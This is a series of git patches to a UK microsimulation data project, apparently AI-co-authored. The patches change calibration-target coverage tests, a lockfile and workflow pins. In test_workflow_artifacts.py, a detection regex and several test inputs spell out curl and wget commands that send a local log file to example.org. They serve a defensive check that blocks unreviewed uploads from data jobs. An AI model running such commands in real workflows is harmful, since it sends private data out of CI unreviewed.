+    rows, build, data
+):
+    # Hand-built gaps, so even statuses the file refuses: none may excuse an
+    # error or a non-finite value.
+    status = st.sampled_from(EXCUSABLE + NEVER_EXCUSED)
+    builds = st.sampled_from([BUILDS, ("testing",), ("release",)])
+    # A name may be listed under several statuses, each once.
+    listed = data.draw(
+        st.dictionaries(st.tuples(st.sampled_from(NAMES + ["zz"]), status), builds)
     )
-    gaps = [_gap(status, name) for name, status in excused.items()]
-    rows = [TargetStatus(name, statuses[name]) for name in names]
-    problems, stale = coverage_problems(rows, gaps)
-    expected = [
-        f"{n}: {statuses[n]}"
-        for n in names
-        if statuses[n] != "in_matrix" and excused.get(n) != statuses[n]
+    globbed = data.draw(st.dictionaries(st.sampled_from(PATTERNS), status))
+    gaps = [_gap(s, n, builds=b) for (n, s), b in listed.items()]
+    gaps += [_gap(s, builds=["testing"], patterns=[p]) for p, s in globbed.items()]
+    statuses = [TargetStatus(n, s) for n, s in rows]
+    problems, stale = coverage_problems(statuses, gaps, build)
+
+    # The model: only the gaps for this build apply.
+    named = {pair for pair, b in listed.items() if build in b}
+    patterns = globbed if build == "testing" else {}
+
+    def excused(name, status):
+        return status not in NEVER_EXCUSED and (
+            (name, status) in named
+            or any(s == status and fnmatchcase(name, p) for p, s in patterns.items())
+        )
+
+    assert problems == [
+        f"{n}: {s}" for n, s in rows if s != "in_matrix" and not excused(n, s)
     ]
-    assert problems == expected
-    assert {s.split(":")[0] for s in stale} == {
-        n for n, status in excused.items() if statuses.get(n) != status
+    assert all(f"{n}: {s}" in problems for n, s in rows if s in NEVER_EXCUSED)
+    stale_pairs = {
+        (line.split(": listed as ")[0], line.split(": listed as ")[1].split(",")[0])
+        for line in stale
+    }
+    assert stale_pairs == {
+        (n, s) for n, s in named if s in NEVER_EXCUSED or (n, s) not in rows
+    } | {
+        (p, s)
+        for p, s in patterns.items()
+        if not any(fnmatchcase(n, p) for n, _ in rows)
     }
     # Order of the statuses never changes the verdict.
-    shuffled = data.draw(st.permutations(rows))
-    assert sorted(coverage_problems(shuffled, gaps)[0]) == sorted(problems)
+    shuffled = data.draw(st.permutations(statuses))
+    assert sorted(coverage_problems(shuffled, gaps, build)[0]) == sorted(problems)
 
 
 def _target(name, values={2025: 10.0}, **kwargs):
     return Target(
-        name=name,
-        variable="employment_income",
-        source="test",
-        unit=Unit.GBP,
-        values=values,
-        **kwargs,
+        **{
+            "name": name,
+            "variable": "employment_income",
+            "source": "test",
+            "unit": Unit.GBP,
+            "values": values,
+            **kwargs,
+        }
     )
 
 
+class FakeMicrosimulation:
+    """Two households, in England and Wales."""
+
+    def __init__(self, dataset=None, reform=None):
+        pass
+
+    def calculate(self, variable, *args, **kwargs):
+        assert variable == "country"
+        return pd.Series(["ENGLAND", "WALES"])
+
+
+def _sources(*sources):
+    """Fake source modules, one per list of targets."""
+    return lambda: [SimpleNamespace(get_targets=lambda s=s: list(s)) for s in sources]
+
+
 @pytest.fixture
 def fake_matrix(monkeypatch):
-    """create_target_matrix over two households, with chosen targets and columns."""
+    """The target matrix from chosen sources, with columns chosen by name."""
     import policyengine_uk
 
-    class FakeMicrosimulation:
-        def __init__(self, dataset=None, reform=None):
-            pass
-
-        def calculate(self, variable, *args, **kwargs):
-            assert variable == "country"
-            return pd.Series(["ENGLAND", "WALES"])
-
     monkeypatch.setattr(policyengine_uk, "Microsimulation", FakeMicrosimulation)
 
-    def configure(targets, columns):
-        monkeypatch.setattr(
-            build_loss_matrix,
-            "get_all_targets",
-            lambda geographic_level=None: (
-                targets if geographic_level == GeographicLevel.NATIONAL else []
-            ),
-        )
+    def configure(columns, *sources):
+        monkeypatch.setattr(registry, "discover_source_modules", _sources(*sources))
 
         def compute(target, ctx, year):
             column = columns[target.name]
             if isinstance(column, Exception):
                 raise column
-            return None if column is None else np.asarray(column, dtype=float)
+            return None if column is None else np.asarray(column)
 
         monkeypatch.setattr(build_loss_matrix, "_compute_column", compute)
         return SimpleNamespace(time_period="2025")
@@ -215,12 +333,19 @@ def compute(target, ctx, year):
     return configure
 
 
+def _statuses_by_name(statuses):
+    by_name = {}
+    for row in statuses:
+        by_name.setdefault(row.name, []).append(row.status)
+    return by_name
+
+
 def test_a_dropped_target_fails_the_matrix_unless_it_is_a_known_gap(
     fake_matrix, monkeypatch
 ):
     dataset = fake_matrix(
-        [_target("ok"), _target("later", values={2026: 1.0}), _target("broken")],
         {"ok": [1.0, 0.0], "later": [1.0, 1.0], "broken": KeyError("no such variable")},
+        [_target("ok"), _target("later", values={2026: 1.0}), _target("broken")],
     )
     with pytest.raises(TargetCoverageError) as raised:
         build_loss_matrix.create_target_matrix(dataset, time_period="2025")
@@ -243,7 +368,7 @@ def test_a_column_without_signal_fails_unless_it_is_a_known_gap(
     fake_matrix, monkeypatch
 ):
     dataset = fake_matrix(
-        [_target("ok"), _target("flat")], {"ok": [1.0, 2.0], "flat": [0.0, 0.0]}
+        {"ok": [1.0, 2.0], "flat": [0.0, 0.0]}, [_target("ok"), _target("flat")]
     )
     with pytest.raises(TargetCoverageError, match="flat: zero_signal"):
         build_loss_matrix.create_target_matrix(dataset, time_period="2025")
@@ -257,7 +382,7 @@ def test_a_column_without_signal_fails_unless_it_is_a_known_gap(
 
 
 def test_a_non_finite_column_is_never_excused(fake_matrix, monkeypatch):
-    dataset = fake_matrix([_target("nan")], {"nan": [np.nan, 1.0]})
+    dataset = fake_matrix({"nan": [np.nan, 1.0]}, [_target("nan")])
     monkeypatch.setattr(
         "policyengine_uk_data.targets.coverage.load_known_gaps",
         lambda: [_gap("zero_signal", "nan")],
@@ -266,6 +391,209 @@ def test_a_non_finite_column_is_never_excused(fake_matrix, monkeypatch):
         build_loss_matrix.create_target_matrix(dataset, time_period="2025")
 
 
+def test_a_name_two_sources_emit_fails_unless_it_is_a_known_gap(
+    fake_matrix, monkeypatch
+):
+    """Scenario A: two source modules emit the same national name."""
+    dataset = fake_matrix(
+        {"obr/foo": [1.0, 2.0]},
+        [_target("obr/foo")],
+        [_target("obr/foo", values={2025: 20.0})],
+    )
+    _, values, statuses = build_loss_matrix.build_target_matrix(dataset, "2025")
+    assert values.to_dict() == {"obr/foo": 10.0}
+    assert statuses == [
+        TargetStatus(
+            "obr/foo",
+            "duplicate",
+            "test national target for 2025 dropped for the test national one for 2025",
+        ),
+        TargetStatus("obr/foo", "in_matrix"),
+    ]
+    with pytest.raises(TargetCoverageError, match="obr/foo: duplicate"):
+        build_loss_matrix.create_target_matrix(dataset, time_period="2025")
+    monkeypatch.setattr(
+        "policyengine_uk_data.targets.coverage.load_known_gaps",
+        lambda: [_gap("duplicate", "obr/foo")],
+    )
+    df, _ = build_loss_matrix.create_target_matrix(dataset, time_period="2025")
+    assert list(df.columns) == ["obr/foo"]
+
+
+def test_a_regional_target_named_like_a_national_one_fails(fake_matrix):
+    """Scenario B: the national target wins even when emitted second."""
+    dataset = fake_matrix(
+        {"ons/foo": [1.0, 2.0]},
+        [
+            _target(
+                "ons/foo",
+                values={2024: 5.0},
+                geographic_level=GeographicLevel.REGION,
+                source="ons",
+            ),
+            _target("ons/foo"),
+        ],
+    )
+    _, values, statuses = build_loss_matrix.build_target_matrix(dataset, "2025")
+    assert values.to_dict() == {"ons/foo": 10.0}
+    assert _statuses_by_name(statuses) == {"ons/foo": ["duplicate", "in_matrix"]}
+    assert statuses[0].detail == (
+        "ons region target for 2024 dropped for the test national one for 2025"
+    )
+    with pytest.raises(TargetCoverageError, match="ons/foo: duplicate"):
+        build_loss_matrix.create_target_matrix(dataset, time_period="2025")
+
+
+def test_a_column_that_cannot_enter_the_matrix_has_one_error_status(fake_matrix):
+    """The status follows the column into the matrix, so a column that fails
+    to go in, or whose status fails, leaves only an error and no column."""
+    dataset = fake_matrix(
+        {
+            "ok": [1.0, 2.0],
+            "long": [1.0, 2.0, 3.0],
+            "text": np.array(["a", "b"], dtype=object),
+        },
+        [_target("ok"), _target("long"), _target("text")],
+    )
+    df, values, statuses = build_loss_matrix.build_target_matrix(dataset, "2025")
+    assert list(df.columns) == ["ok"] and list(values.index) == ["ok"]
+    assert _statuses_by_name(statuses) == {
+        "ok": ["in_matrix"],
+        "long": ["error"],
+        "text": ["error"],
+    }
+
+
+def _main_create_target_matrix(dataset, time_period):
+    """create_target_matrix and get_all_targets as on main before the gate
+    (daad71cd), with module references made explicit: the differential
+    test's reference."""
+    from policyengine_uk import Microsimulation
+
+    def get_all_targets(geographic_level):
+        all_targets, seen_names = [], set()
+        for mod in registry.discover_source_modules():
+            for target in mod.get_targets():
+                if target.name in seen_names:
+                    continue
+                if target.geographic_level != geographic_level:
+                    continue
+                seen_names.add(target.name)
+                all_targets.append(target)
+        return all_targets
+
+    year = int(time_period)
+    sim = Microsimulation(dataset=dataset)
+    sim.default_calculation_period = time_period
+    ctx = build_loss_matrix._SimContext(sim, time_period, dataset, None)
+    all_targets = []
+    seen = set()
+    for level in (
+        GeographicLevel.NATIONAL,
+        GeographicLevel.REGION,
+        GeographicLevel.COUNTRY,
+    ):
+        for t in get_all_targets(geographic_level=level):
+            if t.name not in seen:
+                seen.add(t.name)
+                all_targets.append(t)
+    df = pd.DataFrame()
+    target_names = []
+    target_values = []
+    for target in all_targets:
+        try:
+            val = build_loss_matrix._resolve_value(target, year)
+            if val is None:
+                continue
+            col = build_loss_matrix._compute_column(target, ctx, year)
+            if col is None:
+                continue
+            df[target.name] = build_loss_matrix.restrict_to_countries(
+                col, ctx.country, target.countries
+            )
+            target_names.append(target.name)
+            target_values.append(val)
+        except Exception:
+            pass
+    return df, pd.Series(target_values, index=target_names)
+
+
+def _column(kind):
+    """A custom_compute giving a fixed column, no column, or an error."""
+    if kind == "none":
+        return lambda ctx, target, year: None
+    if kind == "error":
+
+        def raises(ctx, target, year):
+            raise KeyError("no such variable")
+
+        return raises
+    return lambda ctx, target, year: np.asarray(kind, dtype=float)
+
+
+emitted_target = st.builds(
+    lambda name, level, year, value, column, countries: _target(
+        name,
+        values={year: value},
+        geographic_level=level,
+        countries=countries,
+        custom_compute=_column(column),
+    ),
+    name=st.sampled_from(["a", "b", "c"]),
+    level=st.sampled_from(
+        [
+            GeographicLevel.NATIONAL,
+            GeographicLevel.REGION,
+            GeographicLevel.COUNTRY,
+            GeographicLevel.CONSTITUENCY,
+        ]
+    ),
+    # 2023 carries forward to 2025; 2026 does not carry back.
+    year=st.sampled_from([2023, 2025, 2026]),
+    value=st.sampled_from([0.0, 10.0, float("nan")]),
+    column=st.one_of(
+        st.sampled_from(["none", "error"]),
+        st.lists(
+            st.sampled_from([0.0, 1.0, -2.5, np.nan, np.inf]), min_size=2, max_size=2
+        ),
+    ),
+    countries=st.sampled_from([None, ("ENGLAND",)]),
+)
+
+
+@settings(max_examples=200, deadline=None)
+@given(sources=st.lists(st.lists(emitted_target, max_size=5), min_size=1, max_size=3))
+def test_without_the_gate_the_matrix_is_mains(sources):
+    """require_coverage=False builds exactly the matrix main built, from the
+    same sources, duplicates included; and every target offered at a matrix
+    level gets exactly one status.
+
+    The one intended difference, not generated here: a column whose status
+    cannot be computed (a non-numeric column) now leaves the matrix as an
+    error, where main kept it.
+    """
+    import policyengine_uk
+
+    with pytest.MonkeyPatch.context() as patch:
+        patch.setattr(policyengine_uk, "Microsimulation", FakeMicrosimulation)
+        patch.setattr(registry, "discover_source_modules", _sources(*sources))
+        dataset = SimpleNamespace(time_period="2025")
+        df, values = build_loss_matrix.create_target_matrix(
+            dataset, "2025", require_coverage=False
+        )
+        main_df, main_values = _main_create_target_matrix(dataset, "2025")
+        _, _, statuses = build_loss_matrix.build_target_matrix(dataset, "2025")
+    pd.testing.assert_frame_equal(df, main_df)
+    pd.testing.assert_series_equal(values, main_values)
+    offered = Counter(
+        t.name
+        for source in sources
+        for t in source
+        if t.geographic_level in build_loss_matrix.MATRIX_LEVELS
+    )
+    assert Counter(row.name for row in statuses) == offered
+
+
 def test_stale_gaps_warn_without_failing(caplog):
     caplog.set_level("WARNING", logger="policyengine_uk_data.targets.coverage")
     stale = check_coverage([TargetStatus("a", "in_matrix")], [_gap("zero_signal", "a")])
@@ -273,6 +601,26 @@ def test_stale_gaps_warn_without_failing(caplog):
     assert "Stale known calibration-target gap" in caplog.text
 
 
+def test_stale_gaps_and_problems_reach_the_job_summary_once(tmp_path, monkeypatch):
+    summary = tmp_path / "summary.md"
+    monkeypatch.setenv("GITHUB_STEP_SUMMARY", str(summary))
+    gaps = [_gap("zero_signal", "a")]
+    # The constituency and local authority calibrations both check.
+    for _ in range(2):
+        check_coverage([TargetStatus("a", "in_matrix")], gaps, build="release")
+    text = summary.read_text()
+    assert text.count("`a: listed as zero_signal, now in_matrix`") == 1
+    assert text.count("### Calibration target coverage (release build)") == 1
+    with pytest.raises(TargetCoverageError):
+        check_coverage([TargetStatus("b", "no_column")], gaps, build="testing")
+    assert (
+        "Not in the matrix and not a known gap: `b: no_column`" in summary.read_text()
+    )
+    monkeypatch.delenv("GITHUB_STEP_SUMMARY")
+    check_coverage([TargetStatus("c", "in_matrix")], [_gap("zero_signal", "c")])
+    assert "`c:" not in summary.read_text()
+
+
 def test_built_data_has_no_target_outside_the_matrix_and_the_known_gaps(enhanced_frs):
     """On the built dataset the gate passes: the known gaps are complete."""
     from policyengine_uk_data.datasets.frs_release import CURRENT_FRS_RELEASE
diff --git a/policyengine_uk_data/tests/test_target_registry.py b/policyengine_uk_data/tests/test_target_registry.py
index c2a1c1c3..9c8e93cf 100644
--- a/policyengine_uk_data/tests/test_target_registry.py
+++ b/policyengine_uk_data/tests/test_target_registry.py
@@ -7,8 +7,12 @@
 4. Target values match the current system's hardcoded values
 """
 
+from collections import Counter
+
 from policyengine_uk_data.targets import get_all_targets
 from policyengine_uk_data.targets.build_loss_matrix import _compute_column
+from policyengine_uk_data.targets.coverage import load_known_gaps
+from policyengine_uk_data.targets.registry import emitted_targets
 
 
 def test_registry_loads():
@@ -18,11 +22,20 @@ def test_registry_loads():
 
 
 def test_no_duplicate_names():
-    """Target names should be unique across all sources."""
-    targets = get_all_targets()
-    names = [t.name for t in targets]
-    duplicates = [n for n in names if names.count(n) > 1]
-    assert len(duplicates) == 0, f"Duplicate target names: {set(duplicates)}"
+    """Each name is emitted once, apart from the duplicates known_gaps.yaml lists.
+
+    get_all_targets keeps only the first target of each name, so this counts
+    what the sources emit before that.
+    """
+    counts = Counter(t.name for t in emitted_targets())
+    listed = {
+        name
+        for gap in load_known_gaps()
+        if gap.status == "duplicate"
+        for name in gap.targets
+    }
+    duplicates = sorted(n for n, k in counts.items() if k > 1 and n not in listed)
+    assert not duplicates, f"Duplicate target names: {duplicates}"
 
 
 def test_obr_income_tax_exists():

From 7313f8b42e4e02d626fcb9e3891c8d5ad4147eb8 Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Fri, 16 Oct 2026 00:29:37 -0400
Subject: [PATCH 57/76] Count any curl or wget in a data job as a route out
 (delta review of #603)

Each review round found another curl spelling that sends a file; the last
was --url-query name@file, and --variable name@file with --expand-url is
another. No uk-data workflow runs curl or wget, so a new use is reviewed
like any other command.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 .../tests/test_workflow_artifacts.py          | 21 +++++++++++++------
 1 file changed, 15 insertions(+), 6 deletions(-)

diff --git a/policyengine_uk_data/tests/test_workflow_artifacts.py b/policyengine_uk_data/tests/test_workflow_artifacts.py
index e0fda033..af5a2dd8 100644
--- a/policyengine_uk_data/tests/test_workflow_artifacts.py
+++ b/policyengine_uk_data/tests/test_workflow_artifacts.py
@@ -19,8 +19,8 @@
   workspace, and setup-uv must not save its cache (``save-cache: false``).
   Every artifact upload must name literal files reviewed for that job in
   ``REVIEWED``: no directories, globs, exclusions or expressions. Every run
-  line that matches ``PUBLISH_COMMAND`` must be, in full, a command reviewed
-  for that job. A job that commits its whole workspace may run only its
+  line that matches ``PUBLISH_COMMAND`` (any curl or wget, and the known
+  publishing commands) must be, in full, a command reviewed for that job. A job that commits its whole workspace may run only its
   reviewed lines (``runs_only``), with no ``shell``, ``env``,
   ``working-directory``, ``defaults`` or ``container`` that could change what
   those lines run.
@@ -110,12 +110,14 @@
     },
 }
 
+# Any curl or wget counts, not only their upload options: each review round
+# found another spelling that sends a file (curl's -sT, -H @file, --url-query
+# name@file, --variable name@file with --expand-url; Sol re-reviews 3 to 5 and
+# the delta review of #603). No uk-data workflow runs either, so a new use
+# needs reviewing, like any other command here.
 PUBLISH_COMMAND = re.compile(
     r"make upload|publish-git-tag|\bgh\s+[a-z]"  # any gh command
-    r"|\bgit push\b"
-    r"|\bcurl\b.*(--upload-file|--form|--json|--data|--config"
-    r"|--request\s+(POST|PUT|PATCH)|-X\s*(POST|PUT|PATCH)|\s-[^\s-]*[TFdK])"
-    r"|\bcurl\b.*(\s-[^\s-]*H|--header|--url-query)[\s=]*[\"']?@|\bwget\b.*--(post|body)-(file|data)"
+    r"|\bgit push\b|\bcurl\b|\bwget\b"
     r"|\baws s3\b|\bgsutil\b|\bgcloud\b|huggingface-cli|\bhf upload\b|\btwine\b"
 )
 _NOT_LITERAL = re.compile(r"[*?\[\]{}!]|\$\{\{")
@@ -392,6 +394,13 @@ def test_an_unreviewed_upload_from_a_data_job_fails(path):
         {"run": "curl --header=@la_calibration_log.csv https://example.org/"},
         {"run": "curl -sH @la_calibration_log.csv https://example.org/"},
         {"run": "curl --url-query @la_calibration_log.csv https://example.org/"},
+        {"run": 'curl --url-query "q@la_calibration_log.csv" https://example.org/'},
+        {
+            "run": "curl --variable x@la_calibration_log.csv "
+            '--expand-url "https://example.org/{{x}}"'
+        },
+        {"run": "curl https://example.org/"},
+        {"run": "wget -q https://example.org/"},
         {"run": "wget --post-file=la_calibration_log.csv https://example.org/"},
     ],
 )

From 5881ce3ebde3472da17627cf09552c948a0facd3 Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Fri, 16 Oct 2026 00:36:44 -0400
Subject: [PATCH 58/76] Rewrap the docstring line the curl change ran long (nit
 1, delta review of #603)

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 policyengine_uk_data/tests/test_workflow_artifacts.py | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/policyengine_uk_data/tests/test_workflow_artifacts.py b/policyengine_uk_data/tests/test_workflow_artifacts.py
index af5a2dd8..24399270 100644
--- a/policyengine_uk_data/tests/test_workflow_artifacts.py
+++ b/policyengine_uk_data/tests/test_workflow_artifacts.py
@@ -20,10 +20,10 @@
   Every artifact upload must name literal files reviewed for that job in
   ``REVIEWED``: no directories, globs, exclusions or expressions. Every run
   line that matches ``PUBLISH_COMMAND`` (any curl or wget, and the known
-  publishing commands) must be, in full, a command reviewed for that job. A job that commits its whole workspace may run only its
-  reviewed lines (``runs_only``), with no ``shell``, ``env``,
-  ``working-directory``, ``defaults`` or ``container`` that could change what
-  those lines run.
+  publishing commands) must be, in full, a command reviewed for that job. A
+  job that commits its whole workspace may run only its reviewed lines
+  (``runs_only``), with no ``shell``, ``env``, ``working-directory``,
+  ``defaults`` or ``container`` that could change what those lines run.
 - Jobs that can't reach the data (docs, changelog) may publish.
 
 What it does not do (Sol re-review of #603): it recognises reviewed workflow

From ff643bec9e342e4b3bbec8bda5f05b614e6eefc0 Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Fri, 16 Oct 2026 01:52:42 -0400
Subject: [PATCH 59/76] Revert "Add locked pytest-xdist development dependency"

This reverts commit 6c81e8912286e89fc0a28974a10476b3c634f9cf.
---
 pyproject.toml |  1 -
 uv.lock        | 26 +-------------------------
 2 files changed, 1 insertion(+), 26 deletions(-)

diff --git a/pyproject.toml b/pyproject.toml
index 683f096d..74a9908c 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -48,7 +48,6 @@ dev = [
     "build",
     "towncrier>=24.8.0",
     "hypothesis>=6.168.3",
-    "pytest-xdist>=3.8.0",
 ]
 
 [tool.setuptools]
diff --git a/uv.lock b/uv.lock
index dc2dd768..dce9c828 100644
--- a/uv.lock
+++ b/uv.lock
@@ -295,15 +295,6 @@ wheels = [
     { url = "https://files.pythonhosted.org/packages/c1/8b/5fe2cc11fee489817272089c4203e679c63b570a5aaeb18d852ae3cbba6a/et_xmlfile-2.0.0-py3-none-any.whl", hash = "sha256:7a91720bc756843502c3b7504c77b8fe44217c85c537d85037f0f536151b2caa", size = 18059, upload-time = "2024-10-25T17:25:39.051Z" },
 ]
 
-[[package]]
-name = "execnet"
-version = "2.1.2"
-source = { registry = "https://pypi.org/simple" }
-sdist = { url = "https://files.pythonhosted.org/packages/bf/89/780e11f9588d9e7128a3f87788354c7946a9cbb1401ad38a48c4db9a4f07/execnet-2.1.2.tar.gz", hash = "sha256:63d83bfdd9a23e35b9c6a3261412324f964c2ec8dcd8d3c6916ee9373e0befcd", size = 166622, upload-time = "2025-11-12T09:56:37.75Z" }
-wheels = [
-    { url = "https://files.pythonhosted.org/packages/ab/84/02fc1827e8cdded4aa65baef11296a9bbe595c474f0d6d758af082d849fd/execnet-2.1.2-py3-none-any.whl", hash = "sha256:67fba928dd5a544b783f6056f449e5e3931a5c378b128bc18501f7ea79e296ec", size = 40708, upload-time = "2025-11-12T09:56:36.333Z" },
-]
-
 [[package]]
 name = "executing"
 version = "2.2.1"
@@ -1442,7 +1433,7 @@ wheels = [
 
 [[package]]
 name = "policyengine-uk-data"
-version = "1.58.1"
+version = "1.58.0"
 source = { editable = "." }
 dependencies = [
     { name = "google-auth" },
@@ -1474,7 +1465,6 @@ dev = [
     { name = "itables" },
     { name = "l0-python" },
     { name = "pytest" },
-    { name = "pytest-xdist" },
     { name = "quantile-forest" },
     { name = "ruff" },
     { name = "tables" },
@@ -1503,7 +1493,6 @@ requires-dist = [
     { name = "policyengine-uk", specifier = ">=2.122.0" },
     { name = "pydantic", specifier = ">=2.0" },
     { name = "pytest", marker = "extra == 'dev'" },
-    { name = "pytest-xdist", marker = "extra == 'dev'", specifier = ">=3.8.0" },
     { name = "pyyaml" },
     { name = "quantile-forest", marker = "extra == 'dev'" },
     { name = "requests" },
@@ -1724,19 +1713,6 @@ wheels = [
     { url = "https://files.pythonhosted.org/packages/a8/a4/20da314d277121d6534b3a980b29035dcd51e6744bd79075a6ce8fa4eb8d/pytest-8.4.2-py3-none-any.whl", hash = "sha256:872f880de3fc3a5bdc88a11b39c9710c3497a547cfa9320bc3c5e62fbf272e79", size = 365750, upload-time = "2025-09-04T14:34:20.226Z" },
 ]
 
-[[package]]
-name = "pytest-xdist"
-version = "3.8.0"
-source = { registry = "https://pypi.org/simple" }
-dependencies = [
-    { name = "execnet" },
-    { name = "pytest" },
-]
-sdist = { url = "https://files.pythonhosted.org/packages/78/b4/439b179d1ff526791eb921115fca8e44e596a13efeda518b9d845a619450/pytest_xdist-3.8.0.tar.gz", hash = "sha256:7e578125ec9bc6050861aa93f2d59f1d8d085595d6551c2c90b6f4fad8d3a9f1", size = 88069, upload-time = "2025-07-01T13:30:59.346Z" }
-wheels = [
-    { url = "https://files.pythonhosted.org/packages/ca/31/d4e37e9e550c2b92a9cbc2e4d0b7420a27224968580b5a447f420847c975/pytest_xdist-3.8.0-py3-none-any.whl", hash = "sha256:202ca578cfeb7370784a8c33d6d05bc6e13b4f25b5053c30a152269fd10f0b88", size = 46396, upload-time = "2025-07-01T13:30:56.632Z" },
-]
-
 [[package]]
 name = "python-dateutil"
 version = "2.9.0.post0"

From 082269995ceb1ef549a08ecaffc2986568015fd0 Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Fri, 16 Oct 2026 01:56:53 -0400
Subject: [PATCH 60/76] Pin the aggregate tool to #2425's approved head
 6406b2ce

5d5558ed published totals less their suppressed heads, which policyengine-uk#2335's
re-reviews 6 and 7 showed can leak; 6406b2ce rebuilds them from their published
parts and withholds reform figures from small cells. Every checkout of the tool
still uses one full SHA (test_fit_report).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 .github/workflows/pull_request.yaml | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/.github/workflows/pull_request.yaml b/.github/workflows/pull_request.yaml
index 8bbbef2c..40ed5754 100644
--- a/.github/workflows/pull_request.yaml
+++ b/.github/workflows/pull_request.yaml
@@ -130,7 +130,7 @@ jobs:
         uses: actions/checkout@v6
         with:
           repository: PolicyEngine/policyengine-uk
-          ref: 5d5558ed242e364cde19a11cb5f890c44c5e03aa
+          ref: 6406b2ceae24f174eca41bfa1dbb1026305d2a46
           path: pe-uk-tool
           sparse-checkout: |
             policyengine_uk/utils/aggregate_impact
@@ -235,7 +235,7 @@ jobs:
         uses: actions/checkout@v6
         with:
           repository: PolicyEngine/policyengine-uk
-          ref: 5d5558ed242e364cde19a11cb5f890c44c5e03aa
+          ref: 6406b2ceae24f174eca41bfa1dbb1026305d2a46
           path: pe-uk-tool
           sparse-checkout: |
             policyengine_uk/utils/aggregate_impact
@@ -309,7 +309,7 @@ jobs:
         uses: actions/checkout@v6
         with:
           repository: PolicyEngine/policyengine-uk
-          ref: 5d5558ed242e364cde19a11cb5f890c44c5e03aa
+          ref: 6406b2ceae24f174eca41bfa1dbb1026305d2a46
           path: pe-uk-tool
           sparse-checkout: |
             policyengine_uk/utils/aggregate_impact

From 26e51a25f8cd350a68512b1340cba4a6d2e5b5b6 Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Fri, 16 Oct 2026 02:03:41 -0400
Subject: [PATCH 61/76] Test mapped Scottish constituency target rows

---
 changelog.d/468.fixed.md                      |  9 +++
 .../tests/test_local_uc_alignment.py          | 73 +++++++++++++++++--
 2 files changed, 75 insertions(+), 7 deletions(-)

diff --git a/changelog.d/468.fixed.md b/changelog.d/468.fixed.md
index 6c4cd34a..3980abe1 100644
--- a/changelog.d/468.fixed.md
+++ b/changelog.d/468.fixed.md
@@ -1 +1,10 @@
 Align local Universal Credit targets by area code, preserve constituencies' 2024 boundaries, and use each matched constituency's country for its children split.
+
+Restore the correct 2024 code order for the mapped income, age and housing targets of all 57 Scottish constituencies. This is a pure reorder; Scotland's totals are unchanged. Target moves from the previous positional assignment are:
+
+| Target | Rows moving >5% | Rows moving >25% | Maximum move |
+|---|---:|---:|---:|
+| Age population | 44 | 11 | 269.7% |
+| Housing anchor | 44 | 11 | 269.7% |
+| Employment income amount | 53 | 26 | 245% |
+| Self-employment income amount | 53 | 37 | 799% |
diff --git a/policyengine_uk_data/tests/test_local_uc_alignment.py b/policyengine_uk_data/tests/test_local_uc_alignment.py
index a81946c0..bd3537eb 100644
--- a/policyengine_uk_data/tests/test_local_uc_alignment.py
+++ b/policyengine_uk_data/tests/test_local_uc_alignment.py
@@ -123,6 +123,37 @@ def _get_targets(area_type):
     return getter()
 
 
+def _map_constituency_targets_by_name(source):
+    """Aggregate the public boundary table without the production matrix or aliases."""
+    boundary = pd.read_csv(
+        STORAGE_FOLDER.parent
+        / "datasets/local_areas/constituencies/boundary_changes/boundary_changes.csv"
+    )
+    old_areas = pd.read_csv(STORAGE_FOLDER / "constituencies_2010.csv")
+    current_areas = _area_metadata("constituency")
+    codes_by_name = {
+        _name_key(row["name"]): row["code"] for _, row in current_areas.iterrows()
+    }
+    old_names = old_areas.set_index("code")["name"]
+    # The boundary source retains 2010 codes for some unchanged Scottish seats.
+    # Resolve those codes through their names instead of copying the code aliases
+    # from mapping_matrix.py; every other destination is already a current code.
+    historical = ~boundary["code_2024"].isin(current_areas["code"])
+    boundary.loc[historical, "code_2024"] = (
+        boundary.loc[historical, "code_2024"]
+        .map(old_names)
+        .map(_name_key)
+        .map(codes_by_name)
+    )
+    assert boundary["code_2024"].notna().all()
+    assert set(boundary["code_2024"]) == set(current_areas["code"])
+    shares = boundary["old_population_present"] / boundary.groupby("code_2010")[
+        "old_population_present"
+    ].transform("sum")
+    contributions = source.loc[boundary["code_2010"]].reset_index(drop=True)
+    return contributions.mul(shares, axis=0).groupby(boundary["code_2024"]).sum()
+
+
 @pytest.mark.parametrize("area_type", ["constituency", "la"])
 def test_all_uc_rows_and_country_totals_match_public_workbooks(area_type):
     """Keep the national payment rescale and per-area rounding unchanged."""
@@ -282,14 +313,19 @@ def map_result(self, values, source_entity, target_entity):
         return np.asarray(values)
 
 
-def _patch_unrelated_sources(monkeypatch, dense_loss):
+def _patch_unrelated_sources(monkeypatch, dense_loss, area_type):
     from policyengine_uk_data.targets.sources import local_income, local_la_extras
 
     for module in [local_income, dense_loss]:
-        monkeypatch.setattr(module, "INCOME_VARIABLES", [])
         monkeypatch.setattr(
-            module, "get_national_income_projections", lambda year: pd.DataFrame()
+            module,
+            "INCOME_VARIABLES",
+            ["employment_income"] if area_type == "constituency" else [],
         )
+        if area_type == "la":
+            monkeypatch.setattr(
+                module, "get_national_income_projections", lambda year: pd.DataFrame()
+            )
     monkeypatch.setattr(dense_loss, "Microsimulation", _FakeSim)
     if hasattr(dense_loss, "add_private_rent_targets"):
         monkeypatch.setattr(
@@ -343,10 +379,10 @@ def test_each_builder_uc_row_matches_its_area_and_country(
     from policyengine_uk_data.datasets.local_areas.local_authorities import (
         loss as la_loss,
     )
-    from policyengine_uk_data.targets.sources import local_age
+    from policyengine_uk_data.targets.sources import local_age, local_income
 
     loss = constituency_loss if area_type == "constituency" else la_loss
-    _patch_unrelated_sources(monkeypatch, loss)
+    _patch_unrelated_sources(monkeypatch, loss, area_type)
     dataset = SimpleNamespace(time_period=2025)
     areas = _area_metadata(area_type).copy()
     if builder == "dense":
@@ -365,8 +401,6 @@ def test_each_builder_uc_row_matches_its_area_and_country(
         # Assignment rows can arrive in any code order, including interleaved countries.
